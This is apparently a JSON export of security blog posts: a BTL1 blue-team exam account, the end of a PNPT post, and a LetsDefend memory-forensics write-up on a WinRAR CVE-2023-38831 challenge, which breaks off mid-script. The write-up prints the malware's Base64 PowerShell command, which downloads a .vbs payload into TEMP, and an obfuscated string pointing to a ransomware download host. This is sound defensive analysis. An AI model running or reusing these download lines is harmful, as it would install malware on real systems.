6]\nhttps://enleak.dev/images/research/pnpt-exam-experience/06.jpg\n\nIt is crucially important to build up your social network as it can open doors to opportunities. I recommend joining Discord servers that align with your interests. Specifically, the following ones have really aided in preparing for this exam. Please note that this is not an exhaustive list, so I encourage you to explore and join other Discord servers that are best suited for you:\n\nCyberwox Academy: Join (https://discord.gg/cyberwoxacademy)\n\nTCM Security: Join (https://discord.gg/3YnH5WUA)\n"
    },
    {
      "id": "btl1-exam-experience",
      "title": "My Security Blue Team Level One Exam Experience",
      "author": "Enleak",
      "date": "2023-09-27",
      "category": "Career & training",
      "summary": "A personal account of BTL1 preparation, hands-on blue-team training and the 2023 exam experience.",
      "tags": [
        "incident-response",
        "certification",
        "blue-team",
        "dfir"
      ],
      "url": "https://enleak.dev/writing/btl1-exam-experience",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/btl1-exam-experience.txt",
      "text": "DE&TH DIARIES\n\nMy Security Blue Team Level One Exam Experience\nBy Enleak | 2023-09-27\nCareer & training | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/btl1-exam-experience\n\nField note\n\n# My Security Blue Team Level One Exam Experience\n\nI want to begin by stating that this course and exam are of great significance to me. After failing the OSCP and PNPT, feelings of…\n\nPublished Sep 27, 20236 min readincident-response · certification · blue-team · dfir\n\nOriginally published on Medium (https://medium.com/@enleak/my-security-blue-team-level-one-exam-experience-16d42f4d93ea).\n\nThis article describes the BTL1 format and policies as they existed during my 2023 attempt. Check the provider’s current documentation before planning your exam.\n\n[Image: Source: https://securityblue.team/why-btl1/]\nhttps://enleak.dev/images/research/btl1-exam-experience/01.png\n Source: https://securityblue.team/why-btl1/ (https://securityblue.team/why-btl1/)\n\nI want to begin by stating that this course and exam are of great significance to me. After failing the OSCP and PNPT, feelings of discouragement and thoughts of quitting quickly sprouted. Feeding into the negativity is simple especially after the amount of time, money and energy spent learning. However, a common theme that never fails to be mentioned is the persistence needed in order to learn, become an asset and succeed in this field. Prior to taking this exam I passed the Splunk Core Certified User and had experience with some of the tools used in the course. Thank you 🇬🇧 Josh Beaman (https://www.linkedin.com/in/joshuabeaman/) for the great course and great thanks to my mentors and friends that help encourage me. With that being said, I will now transition into discussing what resources I used for the exam, what was my studying experience like, and overall, what value did passing this certification bring to me, hope you enjoy!\n\n### BTL1 Overview\n\n[Image: My Security Blue Team Level One Exam Experience — image 2]\nhttps://enleak.dev/images/research/btl1-exam-experience/02.png\n\nRegarding the structure of the certification, it covers six domains which are:\n\n- Domain 1 — Security Fundamentals\n\n- Domain 2 — Phishing Analysis\n\n- Domain 3 — Threat Intelligence\n\n- Domain 4 — Digital Forensics\n\n- Domain 5 — SIEM\n\n- Domain 6 — Incident Response\n\nAnd some of the tools that are covered in the course are:\n\n- Autopsy,\n\n- Browser History Capturer,\n\n- Browser History Viewer,\n\n- DeepBlueCLI,\n\n- DomainTools,\n\n- Event Viewer,\n\n- FTK Imager,\n\n- JumpList Explorer,\n\n- KAPE,\n\n- MISP,\n\n- OpenCTI,\n\n- PECmd,\n\n- PhishTool,\n\n- ProcDump,\n\n- Sigma,\n\n- Snort,\n\n- Splunk,\n\n- Suricata, TheHive5, VirusTotal, Volatility, WannaBrowser, Windows File Analyzer, Wireshark and much more.\n\nAdditionally, the exam is structured so that the students are able to start their practical 24-hour incident response exam immediately from the BTL1 course within 12 months of purchase. Most importantly, students will have access to a cloud based lab via an in-browser session for up to 24 hours and must complete and answer twenty task-based questions. In regards to passing, once the student has answered all the questions, they are able to submit the exam to receive immediate grading, feedback, and:\n\n“Seventy percent is required to pass and earn the silver challenge coin.”\n\n“While 90% (on the first attempt) is required for the gold challenge coin and below are images of the coin.”\n\n[Image: For in depth information visit their website at https://securityblue.team/why-btl1/.]\nhttps://enleak.dev/images/research/btl1-exam-experience/03.png\n For in depth information visit their website at https://securityblue.team/why-btl1/ (https://securityblue.team/why-btl1/).\n\n### Exam Experience\n\n[Image: My Security Blue Team Level One Exam Experience — image 4]\nhttps://enleak.dev/images/research/btl1-exam-experience/04.png\n\nI began the exam in the afternoon with some fresh iced coffee, 100 open tabs, “Backwards” by The Rare Occasions playing, and a dream! Structure your time however you see fit, you have 24 hours in order to complete the exam. Building a timeline was the most useful to me, noting down the time, date and description of all events aided in maintaining the investigation organized and structured. With prior experience using certain tools and the notes available I found myself answering a couple questions the first hour or 2. I would recommend disecting the questions and truly understanding what youre being asked to look for. The amount of fun I had whilst progressing through the investigation is immeasurable, there will come a time where you find yourself answering a question early and coming back later to review and edit it. For the most part, everything needed to pass the exam can be found directly in the course so having an open tab with the course open will be of great value. At the 5 hour mark I was done for the most part, in retorspect, I wish I utilized an extra hour in order to guarantee that gold coin. About 6 hours in, I submitted my exam and got my passing grade.\n\n### Final Tips\n\n[Image: My Security Blue Team Level One Exam Experience — image 5]\nhttps://enleak.dev/images/research/btl1-exam-experience/05.png\n\n- Familiarize yourself and practice with the tools that will be used (the course mentions the main tools that will be used during the exam).\n\n- BTL1 is an open-book, open-internet exam so any cheatsheets, notes, videos, etc that you believe will be of assisstance maybe be used during the exam. Google, google, google :).\n\n- Take your time and have fun. The course has fully prepared you to succeed, it won’t be long until you fully immerse yourself in the exam.\n\n### Resource Hub\n\n[Image: My Security Blue Team Level One Exam Experience — image 6]\nhttps://enleak.dev/images/research/btl1-exam-experience/06.png\n\nMoving on, the resources recommended to prepare for the certification along with the browser labs and content that were provided by Security Blue Team are Tryhackme, more specifically their SOC Level 1 and their Cyber Defense paths. The exam is openbook so I highly reccomend googling if you’re confused about a certain tools functionality, forming queries, etc. Now regarding the learning paths, there are five areas of interest that a friend created a repository for, so shoutout to my friend for creating that, they are listed below in addition to his Github repository:\n\n### Repository\n\n“TryHackMe Rooms to Help with BTL1” (https://github.com/securitypoodle/Cyber-Training-Platforms/blob/cb89b9a7ddc51b53b649a1bdaed1526eb0df4b89/SecurityBlueTeam/TryHackMe%20Rooms%20to%20Help%20with%20BTL1.md)\n\n### Phishing\n\nPhishing Module (https://tryhackme.com/module/phishing): This module contains five rooms (2 free, three paid/VIP) that walk you through analysis of phishing emails, tools you can use to analyze phishing emails, and phishing prevention techniques.\n\nPhishing Analysis Fundamentals (https://tryhackme.com/room/phishingemails1tryoe)\n\nPhishing Emails in Action (https://tryhackme.com/room/phishingemails2rytmuv)\n\nPhishing Analysis Tools (https://tryhackme.com/room/phishingemails3tryoe)\n\nPhishing Prevention (https://tryhackme.com/room/phishingemails4gkxh)\n\nThe Greenholt Phish (https://tryhackme.com/room/phishingemails5fgjlzxc)\n\n### Threat Intelligence\n\nIntro to Cyber Threat Intel (https://tryhackme.com/room/cyberthreatintel)\n\nCyber Kill Chain (https://tryhackme.com/room/cyberkillchainzmt)\n\nPyramid of Pain (https://tryhackme.com/room/pyramidofpainax)\n\nThreat Intelligence Tools (https://tryhackme.com/room/threatinteltools)\n\nMISP (https://tryhackme.com/room/misp)\n\n### Digital Forensics\n\nIntro to Digital Forensics (https://tryhackme.com/room/introdigitalforensics)\n\nDFIR: An Introduction (https://tryhackme.com/room/introductoryroomdfirmodule)\n\nWindows Forensics 1 (https://tryhackme.com/room/windowsforensics1)\n\nWindows Forensics 2 (https://tryhackme.com/room/windowsforensics2)\n\nLinux Forensics (https://tryhackme.com/room/linuxforensics)\n\nKAPE (https://tryhackme.com/room/kape)\n\nAutopsy (https://tryhackme.com/room/btautopsye0)\n\n### SIEM\n\nIntroduction to SIEM (https://tryhackme.com/room/introtosiem)\n\nSigma (https://tryhackme.com/room/sigma)\n\nSplunk: Basics (https://tryhackme.com/room/splunk101)\n\nInvestigating with Splunk (https://tryhackme.com/room/investigatingwithsplunk)\n\nSplunk 2 (https://tryhackme.com/room/splunk2gcd5)\n\nSplunk 3 (https://tryhackme.com/room/splunk3zs)\n\n### Incident Response\n\nIncident Handling with Splunk (https://tryhackme.com/room/splunk201)\n\nMITRE (https://tryhackme.com/room/mitre)\n\nWireshark 101 (https://tryhackme.com/room/wireshark)\n\nYARA (https://tryhackme.com/room/yara)\n\n### Community Discord Servers\n\nIt is crucially important to build up your social network as it can open doors to opportunities. I recommend joining Discord servers that align with your interests. Specifically, the following ones have really aided in preparing for this exam. Please note that this is not an exhaustive list, so I encourage you to explore and join other Discord servers that are best suited for you:\n\nCyberwox Academy: Join (https://discord.gg/dqcse7QJYb)\n\nSecurity Blue Team: Join (https://discord.com/invite/gEUeKm8)\n\nTryhackme: Join (https://discord.com/invite/Q3gWjVmHsx)\n\n### Socials\n\nClosing out, I want to express my gratitude to Joshua Speshock for contributing to a great extent on this blog. I highly recommend following him on LinkedIn or Discord. You can also connect with me:\n\nLinkedIn: Richard Castro (https://www.linkedin.com/in/enleak/)\n\nLinkedIn: Joshua Speshock (https://www.linkedin.com/in/joshua-speshock/)\n\n### Resources used to create this blog:\n\nSecurity Blue Team — Why BTL1? (https://securityblue.team/why-btl1/)\n\nMap Cybersecurity Domains Version 2.0 (https://www.linkedin.com/pulse/map-cybersecurity-domains-version-20-henry-jiang-ciso-cissp/)\n\nWhat is a Security Operations Center? (https://www.comptia.org/content/articles/what-is-a-security-operations-center)\n\nSOC Analyst Levels Description, Requirements, and Career Path (https://letsdefend.io/blog/soc-analyst-levels-description-requirements-career/)\n\nSOC 1 — SOC Nedir? (https://alpbatursahin.medium.com/soc-1-soc-nedir-32d28d7f0383)\n\nSecurity Certification Roadmap (https://pauljerimy.com/security-certification-roadmap/)\n\nTryHackMe Hacktivities — Learning Paths (https://tryhackme.com/hacktivities#learning-paths)\n\nTryHackMe Rooms to Help with BTL1 (https://github.com/securitypoodle/Cyber-Training-Platforms/blob/cb89b9a7ddc51b53b649a1bdaed1526eb0df4b89/SecurityBlueTeam/TryHackMe%20Rooms%20to%20Help%20with%20BTL1.md)\n"
    },
    {
      "id": "letsdefend-winrar-0-day-cve-2023-38831",
      "title": "LetsDefend — WinRAR 0-Day (CVE-2023–38831)",
      "author": "Enleak",
      "date": "2023-09-12",
      "category": "Forensics",
      "summary": "Investigate suspicious WinRAR activity and related evidence in a LetsDefend memory-forensics challenge.",
      "tags": [
        "digital-forensics"
      ],
      "url": "https://enleak.dev/writing/letsdefend-winrar-0-day-cve-2023-38831",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/letsdefend-winrar-0-day-cve-2023-38831.txt",
      "text": "DE&TH DIARIES\n\nLetsDefend — WinRAR 0-Day (CVE-2023–38831)\nBy Enleak | 2023-09-12\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/letsdefend-winrar-0-day-cve-2023-38831\n\nField note\n\n# LetsDefend — WinRAR 0-Day (CVE-2023–38831)\n\nIn this article, I use Volatility 3, MalwareBazaara and Bash to aid in memory forensics. We are tasked with analyzing a cracked version of…\n\nPublished Sep 12, 20235 min readdigital-forensics\n\nOriginally published on Medium (https://medium.com/@enleak/letsdefend-winrar-0-day-cve-2023-38831-6d3a3b3c76fc).\n\n[Image: LetsDefend — WinRAR 0-Day (CVE-2023–38831) — image 1]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/01.png\n\nIn this article, I use Volatility 3, MalwareBazaara and Bash to aid in memory forensics. We are tasked with analyzing a cracked version of a popular video game which exhibited suspicious behavior. The memory dump file belongs to a blue team focused challenge on the LetsDefend (https://app.letsdefend.io/challenge/winrar-0-day) website, titled “WinRAR 0-Day” and was created by Mostafa Abdelaziz (https://twitter.com/0xMM0X).\n\n#### Disclaimer\n\nI encourage individuals to try the challenge first on their own before consulting the write-up. This approach promotes independent problem-solving and allows for a more genuine learning experience.\n\n#### Challenge Scenario\n\nIt appears that there are numerous cracked versions of popular games available. However, it seems we may have downloaded the wrong one, as it exhibits suspicious behavior. We require your assistance in investigating this matter.\n\n#### Challenge Questions\n\n1. What is the suspected process?\n\nTo list the processes of a system we will use the windows.pslistcommand. “This walks the doubly-linked list pointed to by PsActiveProcessHead and shows the offset, process name, process ID, the parent process ID, number of threads, number of handles, and date/time when the process started and exited”. Looking through the list of processes we notice the suspicious WinRAR.exe processes and logged it as the answer to question 1.\n\n```\npython3 vol.py -f ../Winny.vnem windows.pslist\n\n```\n\n[Image: Suspicious WinRAR.exe process.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/02.png\n Suspicious WinRAR.exe process.\n\n2. We suspect that the crack had another name. Can you find the old name of that crack?\n\nTo aid in searching for any commands that attackers typed in the cmd.exe or executed via backdoors we can use windows.cmdline. In addition to using this command we pipe to grep in order to do a case-insensitive search for WinRAR in the output . Output reveals that the old file name was b6wzzawS.rar.\n\n```\npython3 vol.py -f ../Winny.vmem windows.cmdline | grep -i \"winrar.exe\"\n\n```\n\n[Image: New file name of b6wzzawS.rar.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/03.png\n New file name of b6wzzawS.rar.\n\n3. What is the new crack filename?\n\nIn order to find “ FILE_OBJECTs in physical memory using pool tag scanning, use the filescancommand”. The output shows the physical offset of the FILE_OBJECT, file name, number of pointers to the object, number of handles to the object, and the effective permissions granted to the object. Let’s execute this command and redirect the output to the fileout text file.\n\n```\npython3 vol.py -f ../Winny.vmem windows.filescan > fileout.txt\n\n```\n\n[Image: Newly created text file.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/04.png\n Newly created text file.\n\nSearch for the lines containing the text \\Downloads using grep inside this text file. This will reveal all the files in the \\Users\\Work\\Downloads\\ directory which originally had the b6wzzawS.rar file. The new crack file name now seems to be FIFA23CRACK.rar1.\n\n```\ncat fileout.txt | grep \"\\Downloads\"\n\n```\n\n[Image: Revelation of FIFA23CRACK.rar1 file.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/05.png\n Revelation of FIFA23CRACK.rar1 file.\n\n4. What is the command that executed the remote request?\n\nThe concept of caching is similar to temporarily storing frequently accessed computer files in memory. By analyzing this memory cache, we are able to recover files that were in use. In Volatility, the dumpfiles command allows us to extract files and data from a computer’s memory dump, which includes cached files and information.\n\n```\npython3 vol.py -f ../Winny.vmem -o dump windows.dumpfile --virtaddr 0xc402ee5b16e0\n\n```\n\n[Image: Extracted file.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/06.png\n Extracted file.\n\nNow lets:\n\n- Rename the file to it ends with the .rar extension, this way we can properly extract its contents.\n\n2. Extracting the contents of the file using 7z (7z e)\n\n3. Display of the files inside the rar file.\n\n[Image: LetsDefend — WinRAR 0-Day (CVE-2023–38831) — image 7]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/07.png\n\nOnce we display the output of the ReadMe.txt .cmd.file we get the encoded PowerShell command.\n\n```\npowershell.exe -EncodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Vsc2ZhN0VsNGEyeS9TZWNyZXRXZWFwL21haW4vU2Q0cUF4MjEudmJzJyAtT3V0RmlsZSAiJGVudjpURU1QXFNkNHFBeDIxLnZicyI=\n\n```\n\n[Image: Encoded PowerShell command.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/08.png\n Encoded PowerShell command.\n\n5. The external link has a username. What is it?\n\nBase64 decoding the encoded command reveals the Elsfa7El4a2yusername.\n\n[Image: LetsDefend — WinRAR 0-Day (CVE-2023–38831) — image 9]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/09.png\n\n6. It seems the creator of that ransomware uploaded a file to the cloud. Can you find which domain it was downloaded from?\n\nSince the GitHub page is not working currently, a friend who completed the challenge managed to upload the file to: bazaar.abuse.ch (https://bazaar.abuse.ch/sample/0352598565fbafe39866f3c9b5964b613fd259ea12a8fe46410b5d119db97aba).\n\n[Image: LetsDefend — WinRAR 0-Day (CVE-2023–38831) — image 10]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/10.png\n\n[Image: Malicious code sample.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/11.png\n Malicious code sample.\n\nThe script uses the Microsoft.XMLHTTP object (xHttp) to send an HTTP GET request to a URL obtained from the v3xDF0elUqts variable, which appears to be a heavily obfuscated string. We are going to use bash in order to decode the obfuscated string.\n\n[Image: Bash script created for deobfuscation of the first string.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/12.png\n Bash script created for deobfuscation of the first string.\n\n```\n#!/bin/bash\n\n# Define the input string\ninput=\"68LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP3aLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP43LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP47LOPPLPOPLPO.LPLPOLPOLPOP57LOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP4cLOPPLPOPLPO.LPLPOLPOLPOP4bLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP58LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP36LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP4eLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP41LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP67\"\n\n# Replace \"LOPPLPOPLPO.LPLPOLPOLPOP\" with a space\nresult=$(echo \"$input\" | sed 's/LOPPLPOPLPO\\.LPLPOLPOLPOP/ /g')\n\n# Turn Hex Code into ASCII\ndecode=$(echo \"$result\" | xxd -r -p)\n\n# Print the result\necho \"$decode\"\n\n```\n\nThis bash script takes a long hexadecimal-encoded string and converts it into readable ASCII text. It achieves this by replacing occurrences of “LOPPLPOPLPO.LPLPOLPOLPOP” with spaces and then decoding the remaining hexadecimal characters into their corresponding ASCII characters using xxd . Use chmod +x in order to make the script executable:\n\n![Making bash script executable.](/images/research/letsdefend-winrar-0-day-cve-2023-38831/13.png) _Making bash script executable._\n\nOutput reveals that the ransomware was downloaded from the download850[.]mediafire[.]com domain.\n\n[Image: Deobfuscated string.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/14.png\n Deobfuscated string.\n\n7. The attacker left the file behind in someplace to come back later for the device. What is the full location of this file?\n\nWe are going to use bash in order to decode the second obfuscated string.\n\n[Image: Bash script created for deobfuscation of second string.]\nhttps://enleak.dev/images/research/letsdefend-winrar-0-day-cve-2023-38831/15.png\n Bash script created for deobfuscation of second string.\n\n```\n#!/bin/bash\n\n# Define the input string\ninput=\"=Q*************Yi5iUzQFNMt0Y0IE*************w1WZ0x1c39GZul2dcpzY\"\n\n# Replace \"*************\" with \"X\"\nresult=$(echo \"$input\" | sed 